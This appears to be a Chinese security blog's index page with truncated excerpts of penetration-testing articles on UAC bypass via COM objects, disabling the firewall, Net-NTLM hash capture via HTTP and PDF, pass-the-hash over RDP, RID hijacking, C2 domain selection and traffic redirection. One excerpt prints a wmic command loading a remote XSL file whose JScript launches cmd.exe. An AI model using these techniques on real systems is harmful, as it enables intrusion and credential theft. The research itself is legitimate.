Good in study, attitude and health

  • 通过COM组件NetFwPolicy2越权关闭防火墙

    0x00 前言 在上篇文章《通过COM组件IFileOperation越权复制文件》介绍了通过COM组件IFileOperation越权复制文件的三种方法,我们得出一个推论:对于explorer.exe(或是模拟成explorer.exe),加载高权限的COM组件不会弹出UAC的对话框 那么,这个推论是否适用于其他COM组件呢?又有哪些COM组件可以利用呢? 本文将要通过COM组件越权关闭防火墙的方法,详细记录研究过程 0x01 简介 寻找可以高权限运行的COM组件 编写c++程序实现关闭防火墙 添加代码以高权限运行COM组件 添加代码模拟进程explorer.exe 开源完整实现代码 0x02 寻找可以高权限运行的COM组件 通过COM组件IFileOperation实现越权复制文件有一个前提: COM组件能够以高权限运行 对于IFileOperation,它提供了一个参数(SetOperationFlags)可以指定启动的权限 官方文档: https://msdn.microsoft.com/en-us/library/bb775799.aspx 为了找到其他可以高权限运行的COM组件,我们首要的是寻找能够以高权限运行COM组件的方法 经过查找,我找到了一个资料,利用COM Elevation Moniker能够以高权限运行COM组件 官方文档: https://msdn.microsoft.com/en-us/library/windows/desktop/ms679687(v=vs.85).aspx 通过学习官方文档,发现COM Elevation Moniker的使用对COM组件有如下要求: 该COM组件被注册 注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以 注册表HKEY_LOCAL_MACHINE\Software\Classes\CLSID下需要指定三项键值 {CLSID}, LocalizedString(REG_EXPAND_SZ):displayName {CLSID}/Elevation,IconReference(REG_EXPAND_SZ):applicationIcon {CLSID}/Elevation,Enabled(REG_DWORD):1 注: 经过实际测试,以上三项缺一不可 接下来,按照这个要求搜索注册表寻找可用的COM组件 搜索位置:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID 搜索关键词:Elevation 经过一段时间的搜索,我找到了一个可用的COM组件,位置:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD} 信息如下图 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\Elevation的信息如下图 满足COM Elevation Moniker的要求 通过搜索名称“HNetCfg.FwPolicy2”发现这个COM组件同防火墙的操作有关 0x03 编写c++程序实现关闭防火墙 对应COM接口INetFwProfile,于是查找资料尝试编写c程序实现...

  • 通过COM组件IFileOperation越权复制文件

    0x00 前言 在之前的文章《Empire中的Invoke-WScriptBypassUAC利用分析》曾介绍过一个越权复制文件的方法,在普通用户的权限下,利用wusa能够将cab文件释放至管理员权限的文件夹,进一步可以实现文件名劫持和UAC绕过。 但该功能在Win10下被取消,那么有没有更为通用的方法呢? 本文将要介绍一个适用于Win7-Win10的方法——利用COM组件IFileOperation 0x01 简介 利用原理 三种实现思路 实例代码 实际测试 利用分析 0x02 利用原理 注: 该方法学习自Defcon 25中的workshop,Ruben Boonen 《UAC 0day, all day!》 ppt下载地址: https://github.com/FuzzySecurity/DefCon25/blob/master/DefCon25_UAC-0day-All-Day_v1.2.pdf 利用COM组件IFileOperation越权复制文件的前提: Win7以后的系统 可信路径下的可信文件(例如explorer.exe,powershell.exe) 所以有以下三种实现思路: 1、dll劫持或是dll注入 由于可信路径下的可信文件一般都是在需要管理员权限的路径下,所以普通用户权限下基本无法实现dll劫持 可行的方法是dll注入 例如explorer.exe,在普通用户权限就可以对其进行dll注入 2、修改PEB结构,欺骗PSAPI,调用COM组件IFileOperation COM组件通过Process Status API (PSAPI)读取进程PEB结构中的Commandline来识别它们正在运行的进程 如果将进程的Path改成可信文件(如explorer.exe),就能够欺骗PSAPI,调用COM组件IFileOperation实现越权复制 3、通过可信文件直接调用COM组件IFileOperation 例如powershell.exe为可信文件,并且能够直接调用COM组件IFileOperation 0x03 实现方法1:dll注入explorer.exe 具体实现分为如下两段: 将dll注入到进程explorer.exe dll实现调用COM组件IFileOperation复制文件 github已经有一个完整的实现代码,因此可以参考该工程对其分析,工程地址: https://github.com/hjc4869/UacBypass (1)工程UacBypassTest实现了dll注入到进程explorer.exe 去掉不必要的功能,只保留将UacBypass.dll注入到进程explorer.exe的功能: 删除Line...

  • 渗透技巧——利用PHP脚本从浏览器中获得Net-NTLM hash

    0x00 前言 在上篇文章《渗透技巧——通过HTTP协议获得Net-NTLM hash》介绍了通过HTTP协议获得客户端当前登录用户Net-NTLM hash的方法,侧重于介绍原理和思路,本文将要给出一个具体的实现方法,利用PHP脚本模拟Net-NTLM认证过程,提取出客户端的Net-NTLM hash 0x01 简介 本文将要介绍以下内容: Net-NTLM认证过程 利用PHP脚本模拟认证过程 脚本编写细节 实际测试 0x02 Net-NTLM认证过程 参考资料: https://www.innovation.ch/personal/ronald/ntlm.html 依然使用这幅图,如下图 注: 图片截取自https://www.innovation.ch/personal/ronald/ntlm.html 0x03 利用PHP脚本模拟认证过程 想要通过PHP脚本模拟Net-NTLM认证过程,主要考虑的是Server端的实现 1、发送WWW-Authenticate: NTLM 接收Client的GET请求,回复401 Unauthorized WWW-Authenticate: NTLM,提示Client需要NTLM认证 2、发送WWW-Authenticate: NTLM <base64-encoded type-2-message> 接收Client的Type-1-Message,回复Type-2-message The Type 2 Message的结构如下: Offset Description Content 0 NTLMSSP Signature Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000) 8 NTLM...

  • 渗透技巧——通过HTTP协议获得Net-NTLM hash

    0x00 前言 在之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》、《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》和《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》曾介绍了通过SMB协议获得登录用户Net-NTLM hash的方法,利用的前提是客户端通过界面使用SMB协议连接服务器时,默认先使用本机的用户名和密码hash尝试登录。 对于HTTP协议,也同样支持NTLM认证。那么,通过HTTP协议能否同样获得当前登录用户的Net-NTLM hash呢?限制条件有哪些?如何防御?本文将要逐一介绍。 0x01 简介 本文将要介绍以下内容: NTLM Over HTTP Protocol简介 找出利用前提 如何具体利用 防御思路 0x02 NTLM Over HTTP Protocol简介 官方文档: https://msdn.microsoft.com/en-us/library/cc237488.aspx 参考资料: https://www.innovation.ch/personal/ronald/ntlm.html 使用HTTP协议的NTLM认证流程: 客户端向服务器发送一个GET请求,请求获得网页内容 服务器由于开启了NTLM认证,所以返回401,提示需要NTLM认证 客户端发起NTLM认证,向服务器发送协商消息 服务器收到消息后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端 客户端接收到Challenge后,使用输入的密码hash对Challenge加密,生成response,将response发送给服务器 服务器接收客户端加密后的response,经过同样的运算,比较结果,若匹配,提供后续服务,否则,认证失败 直观的流程图,如下图 注: 图片截取自https://www.innovation.ch/personal/ronald/ntlm.html,具体的消息格式可查看链接中的介绍 实际测试 服务器: OS: Server2012 R2 IP: 192.168.62.136 安装IIS服务 客户端: OS: Win7...

  • 渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)

    0x00 前言 在渗透测试中,如果获得了某个用户的NTLM hash,我们可以尝试使用Pass the hash的方法对WMI和SMB服务进行登录,对于远程桌面服务同样可以进行利用。 本文将要介绍开启Restricted Admin mode时,使用Pass the hash对远程桌面进行登录的方法 关于Pass the hash的利用可参考之前的文章: 《域渗透——Pass The Hash的实现》 0x01 简介 本文将要介绍以下内容: Restricted Admin mode介绍 Pass the Hash with Remote Desktop(Restricted Admin mode)的实现方法 0x02 Restricted Admin mode简介 官方说明: https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/ 本节参照官方说明,加入个人理解,如果有误,欢迎纠正 Restricted Admin mode,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中 适用系统 Windows 8.1和Windows Server 2012 R2默认支持该功能 Windows 7和Windows Server...

  • 渗透技巧——利用PDF文件获取Net-NTLM hash

    0x00 前言 今年4月,来自CheckPoint的Assaf Baharav公开了一个方法,利用PDF文件的正常功能够窃取Windows系统的NTLM Hash。 具体的说,当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。 然而Microsoft、Adobe和FoxIT对此没有进行针对性的修复。 这个利用方法成功的条件有哪些?没有修复的原因又是什么呢? 本文将要站在技术研究的角度进行介绍 0x01 简介 本文将要介绍以下内容: 原理和利用思路 测试POC,生成一个恶意PDF文件 分析PDF文件格式 编写脚本实现修改正常PDF文件 开源代码 0x02 原理和利用思路 参考资料: https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/ 原理 PDF规范允许为GoTobe和GoToR条目加载远程内容 直观的理解: PDF文件可以添加一项功能,请求远程SMB服务器的文件 而我们知道,Windows系统下SMB协议有一个特性:客户端在连接SMB服务器时,默认先使用本机的用户名和密码hash尝试登录,通信协议默认为Net-NTLMv1或者Net-NTLMv2 工具Hashcat提供了字典和暴力破解两种方法来还原Net-NTLMv1和Net-NTLMv2协议中的明文密码 只要在SMB服务器上进行抓包,提取关键数据,就能够获得Hashcat需要的参数,尝试破解 抓包可选择WireShark,对获得的pcap包进行解析,提取关键数据。如果使用Responder可自动提取出关键数据。 之前写过的相关文章: 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》 《Windows下的密码hash——Net-NTLMv1介绍》 类似的利用思路: 可参考以下文章: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ 介绍了多种文件格式的利用方法 利用思路 构造一份特殊的PDF文档,请求SMB服务器的一份文件 在SMB服务器上抓包 用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器...

  • 渗透技巧——Windows帐户的RID Hijacking

    0x00 前言 在之前的文章《渗透技巧——Windows系统的帐户隐藏》介绍过利用帐户克隆建立隐藏帐户的技巧,是通过复制目标帐户对应注册表项F键的值,使得隐藏帐户获得了相同的权限。 如果换一种思路,将目标帐户对应注册表项F键的部分内容覆盖已有帐户,那么已有帐户能否获得目标帐户的权限呢? 这就是本文将要介绍的方法——RID Hijacking 注: 该方法最早公开于2017年12月,地址如下: http://csl.com.co/rid-hijacking/ 0x01 简介 本文将要介绍以下内容: RID劫持的方法 编写脚本的实现思路 利用分析 防御检测 0x02 相关概念 SID 全称Security Identifiers(安全标识符),是Windows系统用于唯一标识用户或组的可变长度结构 官方说明地址: https://msdn.microsoft.com/en-us//library/windows/desktop/aa379594(v=vs.85).aspx SID包含以下信息: The revision level of the SID structure 48-bit identifier authority value relative identifier (RID) 实例 Windows命令行执行whoami /all可获得当前用户的SID,如下图 SID为: S-1-5-21-2752016420-1571072424-526487797-1001 S表示该字符串是SID 1表示SID的版本号 5-21-2752016420-1571072424-526487797对应ID authority 1001表示RID RID Windows系统帐户对应固定的RID:...

  • 渗透基础——选择一个合适的C2域名

    0x00 前言 在渗透测试中,常常需要选择一个合适的域名作为c2服务器,那么什么样的域名才能称之为”合适”呢? expireddomains.net也许能够给你一些思路。 通过expireddomains.net能够查询到最近过期或删除的域名,更重要的是它提供了关键词搜索功能。 本文将要测试过期域名自动化搜索工具CatMyFish,分析原理,修正其中的bug,使用python编写一个爬虫,获得所有搜索结果。 0x01 简介 本文将要介绍以下内容: 测试过期域名自动化搜索工具CatMyFish 分析原理修正CatMyFish中的bug 爬虫开发思路和实现细节 开源python实现的爬虫代码 0x02 测试过期域名自动化搜索工具CatMyFish 下载地址: https://github.com/Mr-Un1k0d3r/CatMyFish 主要实现流程 用户输入关键词 脚本将搜索请求发送到expireddomains.net进行查询 获得域名列表 脚本将域名发送到Symantec BlueCoat进行查询 获取每个域名的类别 expireddomains.net地址: https://www.expireddomains.net/ Symantec BlueCoat地址: https://sitereview.bluecoat.com/ 实际测试 需要安装python库beautifulsoup4 pip install beautifulsoup4 尝试搜索关键词microsoft,脚本报错,如下图 脚本对结果的解析出现了问题 于是,按照CatMyFish的实现思路自己编写脚本测试一下 访问expireddomains.net查询关键词microsoft,代码如下: import urllib import urllib2 from bs4 import BeautifulSoup url = "https://www.expireddomains.net/domain-name-search/?q=microsoft" req...

  • 利用wmic调用xsl文件的分析与利用

    0x00 前言 Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。 本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同XXE漏洞结合的使用方法。 博客地址: https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1 0x01 简介 本文将要介绍以下内容: 测试Casey Smith的方法 脚本分析,分析后门利用思路 编写后门利用脚本 同XXE漏洞的结合 0x02 测试Casey Smith的方法 本地: wmic process list /FORMAT:evil.xsl 远程: wmic os get /FORMAT:"https://example.com/evil.xsl" xsl文件内容如下: <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>...

  • CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发

    0x00 前言 上篇文章介绍了使用Apache的mod_rewrite模块来实现http流量分发,本文将在此基础上介绍https的流量分发,对客户端的证书进行判断,若证书有效,才会将流量转发至真实服务器。 0x01 简介 本文将要介绍以下内容: Windows系统下配置Apache开启ssl Ubuntu系统下配置Apache开启ssl 使用openssl生成证书的方法和难点 Apache Https双向认证的配置 实现https流量分发的过程 0x02 Windows系统下配置Apache开启ssl 1、下载包含openssl的Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、配置httpd.conf 位于\Apace24\conf\httpd.conf (1) 定位: #LoadModule ssl_module modules/mod_ssl.so 去掉# (2) 定位: <IfModule ssl_module> Include conf/extra/httpd-ahssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> 将Include conf/extra/httpd-ahssl.conf改为Include...